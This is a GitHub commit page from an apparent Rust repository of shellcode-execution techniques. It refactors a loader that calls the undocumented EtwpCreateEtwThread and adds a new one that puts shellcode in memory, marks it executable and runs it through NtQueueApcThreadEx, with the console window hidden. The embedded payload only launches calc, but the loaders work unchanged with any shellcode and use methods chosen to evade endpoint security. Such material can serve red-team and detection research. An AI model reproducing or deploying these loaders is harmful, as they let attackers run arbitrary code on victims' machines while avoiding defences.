Skip to content

Commit 5f871b9

Browse files
author
test
committed
add nt_queue_apc_thread_ex_local
1 parent e572034 commit 5f871b9

File tree

3 files changed

+60
-4
lines changed

3 files changed

+60
-4
lines changed

etwp_create_etw_thread/src/main.rs

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,10 @@ fn main() {
2424
return;
2525
}
2626

27-
let etw = GetProcAddress(ntdll, "EtwpCreateEtwThread\0".as_ptr());
27+
let fn_etwp_create_etw_thread = GetProcAddress(ntdll, "EtwpCreateEtwThread\0".as_ptr());
28+
29+
let etwp_create_etw_thread: extern "C" fn(*mut c_void, isize) -> HANDLE =
30+
transmute(fn_etwp_create_etw_thread);
2831

2932
let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
3033
if dest == null_mut() {
@@ -40,9 +43,7 @@ fn main() {
4043
return;
4144
}
4245

43-
let etw: extern "C" fn(addr: *mut c_void, i: isize) -> HANDLE = transmute(etw);
44-
45-
let thread = etw(dest, 0);
46+
let thread = etwp_create_etw_thread(dest, 0);
4647

4748
WaitForSingleObject(thread, WAIT_FAILED);
4849
}
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
[package]
2+
name = "nt_queue_apc_thread_ex_local"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7+
8+
[dependencies]
9+
windows-sys = { version = "0.45.0", features = ["Win32_System_Memory", "Win32_Foundation", "Win32_System_Threading", "Win32_System_LibraryLoader"] }
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
#![windows_subsystem = "windows"]
2+
3+
use std::ffi::c_void;
4+
use std::mem::transmute;
5+
use std::ptr::{copy, null, null_mut};
6+
use windows_sys::Win32::Foundation::{FALSE, HANDLE};
7+
use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA};
8+
use windows_sys::Win32::System::Memory::{
9+
VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE,
10+
};
11+
use windows_sys::Win32::System::Threading::GetCurrentThread;
12+
13+
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
14+
static SIZE: usize = SHELLCODE.len();
15+
16+
#[cfg(target_os = "windows")]
17+
fn main() {
18+
let mut old = PAGE_READWRITE;
19+
20+
unsafe {
21+
let ntdll = LoadLibraryA("ntdll.dll\0".as_ptr());
22+
23+
let fn_nt_queue_apc_thread_ex = GetProcAddress(ntdll, "NtQueueApcThreadEx\0".as_ptr());
24+
25+
let nt_queue_apc_thread_ex: extern "C" fn(HANDLE, isize, *mut c_void, isize, isize, isize) =
26+
transmute(fn_nt_queue_apc_thread_ex);
27+
28+
let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
29+
if dest == null_mut() {
30+
eprintln!("VirtualAlloc failed!");
31+
return;
32+
}
33+
34+
copy(SHELLCODE.as_ptr(), dest as *mut u8, SIZE);
35+
36+
let res = VirtualProtect(dest, SIZE, PAGE_EXECUTE, &mut old);
37+
if res == FALSE {
38+
eprintln!("VirtualProtect failed!");
39+
return;
40+
}
41+
42+
let handle = GetCurrentThread();
43+
44+
nt_queue_apc_thread_ex(handle, 1, dest, 0, 0, 0);
45+
}
46+
}

0 commit comments

Comments
 (0)